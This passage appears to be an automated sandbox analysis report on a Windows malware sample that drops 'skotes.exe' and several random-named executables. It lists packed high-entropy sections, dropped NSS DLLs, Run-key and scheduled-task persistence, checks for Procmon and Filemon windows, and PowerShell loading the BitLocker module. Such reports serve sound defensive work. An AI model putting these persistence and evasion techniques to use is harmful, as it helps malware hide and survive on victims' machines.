Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: GCGHCBKFCF.exe.0.dr	Static PE information: section name:
Source: GCGHCBKFCF.exe.0.dr	Static PE information: section name: .idata
Source: GCGHCBKFCF.exe.0.dr	Static PE information: section name:
Source: GCGHCBKFCF.exe.0.dr	Static PE information: section name: dmpinvwn
Source: GCGHCBKFCF.exe.0.dr	Static PE information: section name: kefdngyk
Source: GCGHCBKFCF.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: vhfoedue
Source: random[1].exe.0.dr	Static PE information: section name: uyqyjagh
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.16.dr	Static PE information: section name:
Source: skotes.exe.16.dr	Static PE information: section name: .idata
Source: skotes.exe.16.dr	Static PE information: section name:
Source: skotes.exe.16.dr	Static PE information: section name: dmpinvwn
Source: skotes.exe.16.dr	Static PE information: section name: kefdngyk
Source: skotes.exe.16.dr	Static PE information: section name: .taggant
Source: random[1].exe.19.dr	Static PE information: section name:
Source: random[1].exe.19.dr	Static PE information: section name: .idata
Source: random[1].exe.19.dr	Static PE information: section name:
Source: random[1].exe.19.dr	Static PE information: section name: xjkpyrbo
Source: random[1].exe.19.dr	Static PE information: section name: kfdwlzfd
Source: random[1].exe.19.dr	Static PE information: section name: .taggant
Source: ddd4dd05d2.exe.19.dr	Static PE information: section name:
Source: ddd4dd05d2.exe.19.dr	Static PE information: section name: .idata
Source: ddd4dd05d2.exe.19.dr	Static PE information: section name:
Source: ddd4dd05d2.exe.19.dr	Static PE information: section name: xjkpyrbo
Source: ddd4dd05d2.exe.19.dr	Static PE information: section name: kfdwlzfd
Source: ddd4dd05d2.exe.19.dr	Static PE information: section name: .taggant
Source: random[1].exe0.19.dr	Static PE information: section name:
Source: random[1].exe0.19.dr	Static PE information: section name: .idata
Source: random[1].exe0.19.dr	Static PE information: section name:
Source: random[1].exe0.19.dr	Static PE information: section name: rtjzuflj
Source: random[1].exe0.19.dr	Static PE information: section name: bnlzohot
Source: random[1].exe0.19.dr	Static PE information: section name: .taggant
Source: 83d4c6bf2a.exe.19.dr	Static PE information: section name:
Source: 83d4c6bf2a.exe.19.dr	Static PE information: section name: .idata
Source: 83d4c6bf2a.exe.19.dr	Static PE information: section name:
Source: 83d4c6bf2a.exe.19.dr	Static PE information: section name: rtjzuflj
Source: 83d4c6bf2a.exe.19.dr	Static PE information: section name: bnlzohot
Source: 83d4c6bf2a.exe.19.dr	Static PE information: section name: .taggant
Source: random[1].exe1.19.dr	Static PE information: section name:
Source: random[1].exe1.19.dr	Static PE information: section name: .idata
Source: random[1].exe1.19.dr	Static PE information: section name:
Source: random[1].exe1.19.dr	Static PE information: section name: arzmofiy
Source: random[1].exe1.19.dr	Static PE information: section name: wqqjackv
Source: random[1].exe1.19.dr	Static PE information: section name: .taggant
Source: 5d1390e5c6.exe.19.dr	Static PE information: section name:
Source: 5d1390e5c6.exe.19.dr	Static PE information: section name: .idata
Source: 5d1390e5c6.exe.19.dr	Static PE information: section name:
Source: 5d1390e5c6.exe.19.dr	Static PE information: section name: arzmofiy
Source: 5d1390e5c6.exe.19.dr	Static PE information: section name: wqqjackv
Source: 5d1390e5c6.exe.19.dr	Static PE information: section name: .taggant
Source: 0474b55419.exe.19.dr	Static PE information: section name:
Source: 0474b55419.exe.19.dr	Static PE information: section name: .idata
Source: 0474b55419.exe.19.dr	Static PE information: section name:
Source: 0474b55419.exe.19.dr	Static PE information: section name: vhfoedue
Source: 0474b55419.exe.19.dr	Static PE information: section name: uyqyjagh
Source: 0474b55419.exe.19.dr	Static PE information: section name: .taggant
Source: random[2].exe0.19.dr	Static PE information: section name:
Source: random[2].exe0.19.dr	Static PE information: section name: .idata
Source: random[2].exe0.19.dr	Static PE information: section name: prdxzixt
Source: random[2].exe0.19.dr	Static PE information: section name: jfbasxge
Source: random[2].exe0.19.dr	Static PE information: section name: .taggant
Source: c1444066db.exe.19.dr	Static PE information: section name:
Source: c1444066db.exe.19.dr	Static PE information: section name: .idata
Source: c1444066db.exe.19.dr	Static PE information: section name: prdxzixt
Source: c1444066db.exe.19.dr	Static PE information: section name: jfbasxge
Source: c1444066db.exe.19.dr	Static PE information: section name: .taggant
Source: build.exe.62.dr	Static PE information: section name: .00cfg

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB6B536 push ecx; ret	0_2_6CB6B549
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_00D4D91C push ecx; ret	19_2_00D4D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_050F0DB1 push esp; iretd	19_2_050F0DBD
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 19_2_050F0E1C push esp; iretd	19_2_050F0DBD

Source: file.exe	Static PE information: section name: vhfoedue entropy: 7.954926643628805
Source: GCGHCBKFCF.exe.0.dr	Static PE information: section name: entropy: 7.979396905324716
Source: GCGHCBKFCF.exe.0.dr	Static PE information: section name: dmpinvwn entropy: 7.9538753769302915
Source: random[1].exe.0.dr	Static PE information: section name: vhfoedue entropy: 7.954926643628805
Source: skotes.exe.16.dr	Static PE information: section name: entropy: 7.979396905324716
Source: skotes.exe.16.dr	Static PE information: section name: dmpinvwn entropy: 7.9538753769302915
Source: random[1].exe.19.dr	Static PE information: section name: xjkpyrbo entropy: 7.955903617141867
Source: ddd4dd05d2.exe.19.dr	Static PE information: section name: xjkpyrbo entropy: 7.955903617141867
Source: random[1].exe0.19.dr	Static PE information: section name: rtjzuflj entropy: 7.954781591911987
Source: 83d4c6bf2a.exe.19.dr	Static PE information: section name: rtjzuflj entropy: 7.954781591911987
Source: random[1].exe1.19.dr	Static PE information: section name: entropy: 7.966808284748914
Source: random[1].exe1.19.dr	Static PE information: section name: arzmofiy entropy: 7.953065124309599
Source: 5d1390e5c6.exe.19.dr	Static PE information: section name: entropy: 7.966808284748914
Source: 5d1390e5c6.exe.19.dr	Static PE information: section name: arzmofiy entropy: 7.953065124309599
Source: 0474b55419.exe.19.dr	Static PE information: section name: vhfoedue entropy: 7.954926643628805
Source: random[2].exe0.19.dr	Static PE information: section name: entropy: 7.789121964495302
Source: c1444066db.exe.19.dr	Static PE information: section name: entropy: 7.789121964495302

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\Documents\GCGHCBKFCF.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\Documents\GCGHCBKFCF.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\random[2].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\nss3[1].dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File created: C:\Users\user\AppData\Local\Temp\10001420101\build.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1010791001\0474b55419.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1010792001\1f49a13412.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1010790001\5d1390e5c6.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1010793001\c1444066db.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0474b55419.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5d1390e5c6.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c1444066db.exe

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1010787001\ddd4dd05d2.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1010788001\83d4c6bf2a.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Documents\GCGHCBKFCF.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5d1390e5c6.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 5d1390e5c6.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0474b55419.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0474b55419.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c1444066db.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c1444066db.exe

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CB955F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6CB955F0

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
